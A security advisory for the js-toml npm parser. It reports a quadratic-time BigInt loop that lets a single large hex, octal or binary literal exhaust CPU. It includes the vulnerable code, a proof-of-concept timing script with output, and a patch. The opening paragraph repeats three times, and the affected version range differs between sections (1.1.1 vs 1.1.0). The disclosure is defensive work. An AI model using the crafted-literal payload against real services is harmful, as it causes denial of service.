CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals

js-toml is a TOML parser for JavaScript, fully compliant with the TOML 1.0.0 Spec. Versions up to and including 1.1.1 parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work. A caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS. Version 1.1.2 fixes the issue.

js-toml is a TOML parser for JavaScript, fully compliant with the TOML 1.0.0 Spec. Versions up to and including 1.1.1 parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work. A caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS. Version 1.1.2 fixes the issue.

js-toml is a TOML parser for JavaScript, fully compliant with the TOML 1.0.0 Spec. Versions up to and including 1.1.1 parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work. A caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS. Version 1.1.2 fixes the issue.

## Summary `js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n²)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work. A caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS. CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity). CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = **7.5 (HIGH)** when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB). ## Affected - Package: `js-toml` (npm) - Versions: `>= 0.0.0, <= 1.1.0` (all released versions up to and including the current `1.1.0`) - Affected entry point: `load()` exported from the package root ## Vulnerable code `src/load/tokens/NonDecimalInteger.ts` lines 54-84 at SHA-pinned [`2470ebf2e9009096aa4cbd1a15e574c54cc36b1a`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L54-L84): ```ts const parseBigInt = (string: string, radix: number): bigint => { let result = BigInt(0); for (let i = 0; i < string.length; i++) { const char = string[i]; const digit = parseInt(char, radix); result = result * BigInt(radix) + BigInt(digit); } return result; }; ``` and the interpreter that dispatches to it at lines 72-84: ```ts registerTokenInterpreter(NonDecimalInteger, (raw: string) => { const intString = raw.replace(/_/g, ''); const digits = intString.slice(2); const radix = getRadix(raw); const int = parseInt(digits, radix); if (Number.isSafeInteger(int)) { return int; } return parseBigInt(digits, radix); }); ``` Two compounding problems: 1. **Algorithmic**: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n²)`. 2. **No length guard**: the lexer regex at [`src/load/tokens/NonDecimalInteger.ts#L14-L46`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L14-L46) is `0x<hexDigit>(<hexDigit>|_<hexDigit>)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite. By contrast, the `DecimalInteger` token interpreter at [`src/load/tokens/DecimalInteger.ts#L12-L19`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/DecimalInteger.ts#L12-L19) uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop. ## Impact A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML. ## Reachability The vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits). Realistic exposure surfaces: - Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest). - CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests. - IDE / language-server plugin that re-parses a TOML buffer on every keystroke. - Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker. ## PoC (End-to-end reproduction) ### Environment - Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`) - macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock) ### Install ```bash mkdir js-toml-cve && cd js-toml-cve npm init -y npm install [email protected] @iarna/toml ``` ### `poc_full_e2e.mjs` ```js import { load } from 'js-toml'; import iarna from '@iarna/toml'; function timeIt(label, fn) { const t0 = process.hrtime.bigint(); let result, err; try { result = fn(); } catch (e) { err = e; } const t1 = process.hrtime.bigint(); const ms = (Number(t1 - t0) / 1e6).toFixed(1); if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`); else console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`); } console.log('--- Sanity baseline (small inputs) ---'); timeIt('decimal int 1', () => { load('x = 1'); return ''; }); timeIt('hex 0x10', () => { load('x = 0x10'); return ''; }); timeIt('hex 0xffff', () => { load('x = 0xffff'); return ''; }); console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---'); for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) { const hexDigits = 'f'.repeat(n); const tomlText = `x = 0x${hexDigits}`; timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`, () => { const r = load(tomlText); return `bits=${r.x.toString(2).length}`; }); } console.log('\n--- Negative control: same input via @iarna/toml ---'); for (const n of [10_000, 50_000, 100_000, 200_000]) { const hexDigits = 'f'.repeat(n); const tomlText = `x = 0x${hexDigits}`; timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`, () => { const r = iarna.parse(tomlText); return `type=${typeof r.x}`; }); } console.log('\n--- Octal / binary share the same code path ---'); for (const n of [50_000, 100_000]) { const octDigits = '7'.repeat(n); const binDigits = '1'.repeat(n); timeIt(`oct 0o${n.toLocaleString()} digits`, () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; }); timeIt(`bin 0b${n.toLocaleString()} digits`, () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; }); } ``` ### Captured run output (unpatched `[email protected]`, Node v26.0.0, Apple M-series) ``` # js-toml version: 1.1.0 --- Sanity baseline (small inputs) --- decimal int 1: 1.3ms hex 0x10: 0.4ms hex 0xffff: 0.1ms --- Amplification curve: js-toml.load() with 0x<N hex digits> --- hex 10,000 digits (10006 bytes input): 15.0ms bits=40000 hex 20,000 digits (20006 bytes input): 29.8ms bits=80000 hex 50,000 digits (50006 bytes input): 214.7ms bits=200000 hex 100,000 digits (100006 bytes input): 693.0ms bits=400000 hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000 hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000 --- Negative control: same input via @iarna/toml --- @iarna/toml hex 10,000 digits: 2.3ms type=bigint @iarna/toml hex 50,000 digits: 3.2ms type=bigint @iarna/toml hex 100,000 digits: 5.4ms type=bigint @iarna/toml hex 200,000 digits: 10.2ms type=bigint --- Octal / binary share the same code path --- oct 0o50,000 digits: 187.6ms bits=150000 bin 0b50,000 digits: 49.5ms bits=50000 oct 0o100,000 digits: 633.2ms bits=300000 bin 0b100,000 digits: 196.8ms bits=100000 ``` Confirmation points: - Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted `O(n²)`. - Single ~500 kB document blocks the event loop for ~40 s of CPU time. - Octal and binary literals trigger the same path through `parseBigInt(digits, 8)` and `parseBigInt(digits, 2)`. - The negative control (`@iarna/toml`, which calls the V8 native `BigInt(value)` constructor) parses the same inputs in 2-10 ms. The defect is in `js-toml`'s hand-written radix conversion, not in V8 `BigInt` semantics or in the input size itself. ### Patched-build verification After applying the fix (replace `parseBigInt(digits, radix)` with `BigInt('0' + raw[1] + digits)` and add a `maxLiteralLength` guard at the interpreter callsite), the same PoC produces: ``` --- Amplification curve: js-toml.load() with 0x<N hex digits> --- hex 10,000 digits: 0.2ms bits=40000 hex 20,000 digits: 0.3ms bits=80000 hex 50,000 digits: 0.7ms bits=200000 hex 100,000 digits: 1.5ms bits=400000 hex 200,000 digits: 2.8ms bits=800000 hex 500,000 digits: 7.1ms bits=2000000 ``` (Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise `SyntaxParseError` instead of being parsed at all, matching the `maxNumberLength` convention used by `jackson-core` `StreamReadConstraints` and `gson` `NumberLimits`. ## Suggested fix Two changes, both in [`src/load/tokens/NonDecimalInteger.ts`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts): 1. Replace the hand-written `parseBigInt` loop with the V8 native `BigInt(prefixedString)` constructor. `BigInt` natively accepts the `0x` / `0o` / `0b` prefix and parses in `O(n)`: ```ts registerTokenInterpreter(NonDecimalInteger, (raw: string) => { const intString = raw.replace(/_/g, ''); const digits = intString.slice(2); const radix = getRadix(raw); // Optional but recommended: cap the literal length to avoid degenerate inputs const MAX_RADIX_LITERAL_LENGTH = 1000; if (digits.length > MAX_RADIX_LITERAL_LENGTH) { throw new SyntaxParseError( `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits` ); } const int = parseInt(digits, radix); if (Number.isSafeInteger(int)) { return int; } // BigInt accepts '0x'/'0o'/'0b' prefix natively return BigInt(intString); }); ``` 2. Delete the `parseBigInt` helper. The native constructor handles all three radices. Either change alone fixes the worst-case wall-clock. The combination matches the constraint posture of `jackson-core` (`StreamReadConstraints.validateIntegerLength`) and `gson` (`NumberLimits.checkNumberStringLength`). ## Fix PR link https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2 ## Credit Reported by `tonghuaroot`.